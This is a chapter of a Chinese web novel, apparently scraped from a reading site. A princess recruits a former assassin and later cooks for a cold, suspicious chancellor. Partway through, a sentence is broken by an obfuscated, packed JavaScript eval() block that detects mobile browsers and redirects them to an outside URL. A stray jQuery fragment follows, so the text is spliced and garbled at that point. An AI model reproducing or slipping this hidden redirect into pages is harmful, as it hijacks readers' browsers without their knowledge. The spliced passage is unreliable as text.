几日后,府内一如既往。
这日清晨,突有下人来报:“长公主殿下,门外有一女子求见。”
正在用早膳的陆景安放下碗筷,接过巾帕,动作优雅的擦拭嘴角:“既殿下有事,臣便先去整理着装,准备去上朝了。”
说罢,陆景安从容不迫地离开。
下人也将求见的人带进来。
尽管心里已经确认了,但当看清来人时,苏曦还是忍不住心底泛起些许喜意。
来人正是前些日子她曾抛出橄榄枝的月影。
此时月影穿着浆洗干净的灰蓝衣衫,看不出丝毫血液的痕迹。
直到靠近时,苏曦才发现月影面色不好,脸色隐约透露出些灰白。
她跟随下人当来到苏曦面前,毫不犹豫单膝跪地抱拳,掷地有声:“长公主,您先前说的话,我已想明白了。”
苏曦站起身,亲自上前将人扶起来。
“我愿为您所用,肝脑涂地在所不辞。”月影似是没料到苏曦会亲手将她扶起,眼底的坚定又多了几分。
“我知您非池中之物,至少与外面广为流传的谣言截然不同。”月影深吸一口气,忽而改变自称,将话一口气说完:“属下只希望殿下能完成先前的承诺,护佑属下的弟弟。”
苏曦刚准备回应,就见已经换好一身朝服的陆景安走来。
苏曦给月影一个稍后再议的眼神,月影收回抱拳的手,安静垂首驻立在苏曦身边,像个毫无威胁的普通女子。
晨光切入廊桥时,只见他背光缓缓踱步而来,面容在阴影中忽明忽暗。
他盯着苏曦身边的月影,骨节分明的手猛地捏紧拇指上的玉扳指,手背青筋根根暴起。
“不直接去上朝,折返回来是为何?”苏曦注意到他的目光在月影身上停留许久,那眼眸如凝霜般渗着寒意。
她侧身将月影挡在身后,因靠得近,有细微的血腥味钻入鼻中,若有若无地萦绕。
“丞相这是何意?”没有得到回应,苏曦再次出声,眉间微蹙。
陆景安看到她的动作后,目光随即与苏曦对视上,当嗅到空气中似有似无的血腥气后,眸底忽而多出几分明显的冷厉。
苏曦有些怔愣,却没有半点要让开的意思。
他这般的情绪外露……与前几日的状态极其相似。
因为什么?
月影吗?
还没等她二度发言,他突然拂袖转身,绛紫朝服的宽袖随动作在空中甩出一个弧形,带起风响。
她只来得及看见他背部衣衫上的麒麟刺绣,在清晨阳光下显得活灵活现。
就这样离开了?
苏曦有些摸不着头脑,直到马蹄声远去,她才转身看向月影。
“你受伤了?”她没有忽略掉鼻尖始终挥之不去的血腥味。
月影朝已经空无一人的门外看了一眼,回答苏曦的话:“是,属下的旧部……”
苏曦安静听着,了解来龙去脉后,随着月影的讲述,一个完整的故事出现在她脑海中。
月影曾是民间暗部培养的一名刺客,暗部专接暗杀委托,秘密刺杀任务等。
她自幼便经受艰苦的训练,这暗无天日的日子中,她认识了阿拙,两人互认姐弟后,相互依附生存。
那时的阿拙还不是傻子,他替她挡过数次惩罚,尽管痛得浑身颤抖,仍在安抚月影:“虽无血缘关系,但在阿拙心中,你就是我的亲姐。”
“弟弟保护姐姐,天经地义。”
他们想逃,也逃了。
那夜,他们被围堵在昏暗巷口,月影深受数剑,生命垂危。
是阿拙发了狠般反扑,才将人尽数杀掉。
阿拙吐出血沫,朝着月影咧嘴笑:“姐,我说过,这次一定能成功。”
却没注意到,地上有人没有死透。
那一锤正中阿拙后脑,温热血液飚进月影的眼中时,她的声带几乎失声不成调。
“虽侥幸捡回来一条命,可阿拙也成了如今的模样。”月影眼底通红,身形也有些不稳,却还是强撑着向苏曦讲述着。
苏曦听到这儿,轻拍她的背以作安抚。
“昨夜,旧部的探子寻到属下的住所,若非属下及时归家……”月影没有说下去,声音几近哽咽,她猛然跪地:“属下只求殿下,能护住阿拙,再别无所求。”
苏曦手指微曲,稍微往旁边挪一步,避开了月影这一跪。
她蹲下身,认真地与月影对视,语气难免带上几分严肃:“好,我会护住他的,民间组织还不敢来探长公主府,你只管将他带来我这,后续的事情,我自会安排好。”
月影当即挪动膝盖,她朝着苏曦深深叩首。
“属下多谢……主上。”
苏曦再次避开她的磕头,指腹轻揉眉心,温声道:“不必跪来跪去,既已是我的人,我不会亏待你们的。”
她将月影扶起来。
“是。”月影用手背将眼角的泪水拭去,脸紧绷着:“那主上有何需要属下去做的。”
苏曦在桌边坐下,用茶水润润唇,却并没有着急开口。
似是看出苏曦的顾虑,月影从怀中拿出两瓶药:“这是我们姐弟需要每月服用的药,唯有吃完才能彻底解去旧部用来控制手下所下的毒,而若是不及时服用,会立即毒发身亡。”
她说完,又补了一句:“属下也只求阿拙性命无忧,稍后便会将他送来府中。”
“主上还请放心,属下既已投奔,便绝无二心。”
苏曦接过瓶子打开闻了闻,中药的苦涩气味瞬间充斥鼻腔。
她看向站得笔直的月影,将瓶子递回去:“这药你自己收好。”
“主上——”月影以为苏曦还是无法完全信任自己,有些着急。
却见苏曦摆手:“用人不疑,疑人不用,这药就不必给我了。”
她端起茶杯,浅饮一口,温热的茶水入口后,眸底也多了几分成算。
“我目前缺少信息。”她语调稍缓,“快人一步的信息。”
苏曦话音刚落,月影立刻领悟:“属下明白了。”
“嗯。”苏曦也不打算细问月影打算怎么做,她不看过程。
“既是替我做事,钱财方面不必担心,你只管放手去做。”苏曦将钱庄令牌递给月影,“如果想看你弟弟,随时来府上即可。”
月影慎重接过令牌放入怀中,再次抱拳弯腰行礼。
苏曦这次没有避开,等月影站直后,柔声道:“去吧,记得给自己买药治伤。”
月影心头微暖,正准备离开时,忽然停下:“主上,信息方面可有优先要查的?”
“就先从丞相和将军相关的信息查起。”苏曦说完,眉头轻轻拧着:“但是要注意一点,宁可查不到任何信息,也不要被对方察觉。”
“是。”
月影这次干脆利落的离开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15618212|172244||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,不多时那个高大个阿拙被送入了府中,苏曦让花琦去安顿。
苏曦独自坐在厅中,双手托着下巴,食指无意识地在脸颊边一下一下点着。
能收服月影是她建立自己的势力迈出重要的第一步,可是……
脑海中陆景安早晨冰冷刺骨的眼神和转身时的决绝,像根刺一样扎在她的心头,泛起莫名的烦躁。
到底是怎么回事?
她百思不得其解,他那眼神分明不像认识月影。
更像是……
在透过月影看什么人?
恰在此时,她腹中传来一阵空鸣,早膳也只是匆匆吃了几口,那点吃食早就被消化殆尽。
下人们也及时端上餐食。
苏曦看着面前寡淡无味的食物,尽管很饿却胃口全失。
陶器中装满汤汤水水,蒸煮出来的食物,除了面点,其他实在算不上美味。
可也不能顿顿吃面点或点心。
她大概理解为什么原主喜辛辣了,毕竟煮出来的食物实在是没滋没味的。
苏曦自己也没有想到,好不容易解决了餐餐辛辣的问题,又迎来第二个问题——这些煮菜难吃到难以下咽。
而且……她想起陆景安忍胃疼时苍白的脸。
最终她默默叹口气,罢了,靠人不如靠己。
看来想要在这个时代活的舒心,任重而道远。
既决定要做,苏曦不再犹豫起身朝伙房走去,好在在烹饪这一块,她熟。
可当看见伙房满满当当的陶器和青铜鼎之后,苏曦站在原地,罕见的沉默了。
此刻她才发觉,自己对架空朝代的力量一无所知。
脑中的历史知识毫无用武之地,通通乱成一锅粥,如同这里的乱炖煮菜一般。
或许,她可以试试把脑子丢掉……
苏曦微抽嘴角,目光略微有些呆滞地扫视着伙房的器具。
下人们面面相觑,聚在一团胆战心惊,长公主殿下好不容易消停了几日,难道是又想出什么折磨人的新法子了么?
苏曦摆摆手,示意下人们全部下去,等下人们逃也似的离开后,她才试图冷静开始分析能做点什么吃。
这时,角落里放着的一坛子盐渍蔬菜和水槽中活蹦乱跳的鲫鱼吸引了她的注意力。
*
陆景安回府时,下人们各个垂着头看起来蔫巴的模样。
他不动声色走去膳厅,空气中带有淡淡的酸气和鱼鲜味,与往日府中的气味截然不同。
忙活一下午的苏曦回头看见陆景安,眼神一亮朝他招手:“陆景安,来尝尝。”
陆景安站在原地,眼神扫过桌上那碗鱼汤和苏曦拿着筷子的手,最后定格在她那明亮带笑意的双眸上。
半晌,他移开视线,声音听不出情绪:“殿下今日真是好兴致,竟屈尊纡贵亲手烹调。”
他目光在那碗看起来颇为诱人的鱼汤上停留一瞬,又抬眼望向苏曦:“是为了……”
陆景安指关节轻轻敲在桌面上,停顿后继续说道:“提前给即将凯旋的将军准备一份惊喜么?”
苏曦捏紧筷子,银牙暗咬,正欲回击时,又听得他继续道:“宫中刚传来消息,楚将军三日之后回朝。”
“陛下已下旨,于宫中设宴,为将军接风洗尘。届时还请殿下……”
陆景安站直身体,直视着苏曦,最终吐出几个字,疏离至极:“好自为之。”